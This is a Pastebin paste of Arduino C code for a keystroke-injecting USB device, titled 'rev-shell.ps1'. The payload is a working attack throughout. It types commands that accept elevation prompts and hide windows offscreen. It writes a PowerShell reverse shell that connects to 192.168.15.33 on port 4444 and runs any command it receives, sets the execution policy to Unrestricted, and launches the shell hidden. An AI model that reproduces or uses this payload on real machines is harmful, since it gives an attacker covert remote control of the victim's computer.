Kurobeats

rev-shell.ps1

Oct 11th, 2018
309
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 2.87 KB | None | 0 0
  1. #include <HID-Project.h>
  2. #include <HID-Settings.h>
  3.  
  4. // Utility function
  5. void typeKey(int key){
  6.   Keyboard.press(key);
  7.   delay(50);
  8.   Keyboard.release(key);
  9. }
  10.  
  11. void setup()
  12. {
  13.   // Start Keyboard and Mouse
  14.   AbsoluteMouse.begin();
  15.   Keyboard.begin();
  16.  
  17.   // Start Payload
  18.   delay(750);
  19.  
  20.   Keyboard.press(KEY_LEFT_GUI);
  21.   Keyboard.press(114);
  22.   Keyboard.releaseAll();
  23.  
  24.   delay(1000);
  25.  
  26.   Keyboard.print("powershell Start-Process notepad -Verb runAs");
  27.  
  28.   typeKey(KEY_RETURN);
  29.  
  30.   delay(750);
  31.  
  32.   Keyboard.press(KEY_LEFT_ALT);
  33.   Keyboard.press(121);
  34.   Keyboard.releaseAll();
  35.  
  36.   delay(750);
  37.  
  38.   typeKey(KEY_RETURN);
  39.  
  40.   Keyboard.press(KEY_LEFT_ALT);
  41.   Keyboard.press(' ');
  42.   Keyboard.releaseAll();
  43.  
  44.   delay(1000);
  45.  
  46.   Keyboard.print("m");
  47.  
  48.   delay(1000);
  49.  
  50.   for(int i = 0; i < 100; i++) {
  51.     typeKey(KEY_DOWN_ARROW);
  52.   }
  53.  
  54.   typeKey(KEY_RETURN);
  55.  
  56.   Keyboard.print("Add-Content \"$env:TEMP\\98954.ps1\" '$c = New-Object System.Net.Sockets.TCPClient(\"192.168.15.33\",4444);$s = $c.GetStream();[byte[]]$b = 0..255|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $d 2>&1 | Out-String );$sb2  = $sb + \"PS \" + (pwd).Path + \"> \";$sby = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sby,0,$sby.Length);$s.Flush()};$c.Close()'");
  57.  
  58.   typeKey(KEY_RETURN);
  59.  
  60.   Keyboard.print("start-Process powershell.exe -windowstyle hidden \"$env:TEMP\\98954.ps1\"");
  61.  
  62.   typeKey(KEY_RETURN);
  63.  
  64.   Keyboard.print("Remove-Item $MyINvocation.InvocationName");
  65.  
  66.   typeKey(KEY_RETURN);
  67.  
  68.   Keyboard.press(KEY_LEFT_CTRL);
  69.   Keyboard.press(115);
  70.   Keyboard.releaseAll();
  71.  
  72.   delay(1000);
  73.  
  74.   Keyboard.print("C:\\Windows\\config-98954.ps1");
  75.  
  76.   typeKey(KEY_RETURN);
  77.  
  78.   delay(1000);
  79.  
  80.   Keyboard.press(KEY_LEFT_ALT);
  81.   Keyboard.press(KEY_F4);
  82.   Keyboard.releaseAll();
  83.  
  84.   delay(750);
  85.  
  86.   Keyboard.press(KEY_LEFT_GUI);
  87.   Keyboard.press(114);
  88.   Keyboard.releaseAll();
  89.  
  90.   delay(750);
  91.  
  92.   Keyboard.print("powershell Start-Process cmd -Verb runAs");
  93.  
  94.   typeKey(KEY_RETURN);
  95.  
  96.   delay(750);
  97.  
  98.   Keyboard.press(KEY_LEFT_ALT);
  99.   Keyboard.press(121);
  100.   Keyboard.releaseAll();
  101.  
  102.   delay(1000);
  103.  
  104.   Keyboard.print("mode con:cols=14 lines=1");
  105.  
  106.   typeKey(KEY_RETURN);
  107.  
  108.   Keyboard.press(KEY_LEFT_ALT);
  109.   Keyboard.press(' ');
  110.   Keyboard.releaseAll();
  111.  
  112.   delay(750);
  113.  
  114.   Keyboard.print("m");
  115.  
  116.   delay(750);
  117.  
  118.   for(int i = 0; i < 100; i++) {
  119.     typeKey(KEY_DOWN_ARROW);
  120.   }
  121.  
  122.   typeKey(KEY_RETURN);
  123.  
  124.   Keyboard.print("powershell Set-ExecutionPolicy 'Unrestricted' -Scope CurrentUser -Confirm:$false");
  125.  
  126.   typeKey(KEY_RETURN);
  127.  
  128.   delay(750);
  129.  
  130.   Keyboard.print("powershell.exe -windowstyle hidden -File C:\\Windows\\config-98954.ps1");
  131.  
  132.   typeKey(KEY_RETURN);
  133.  
  134.   // End Payload
  135.  
  136.   // Stop Keyboard and Mouse
  137.   Keyboard.end();
  138.   AbsoluteMouse.end();
  139. }
  140.  
  141. // Unused
  142. void loop() {}
Advertisement
Add Comment
Please, Sign In to add comment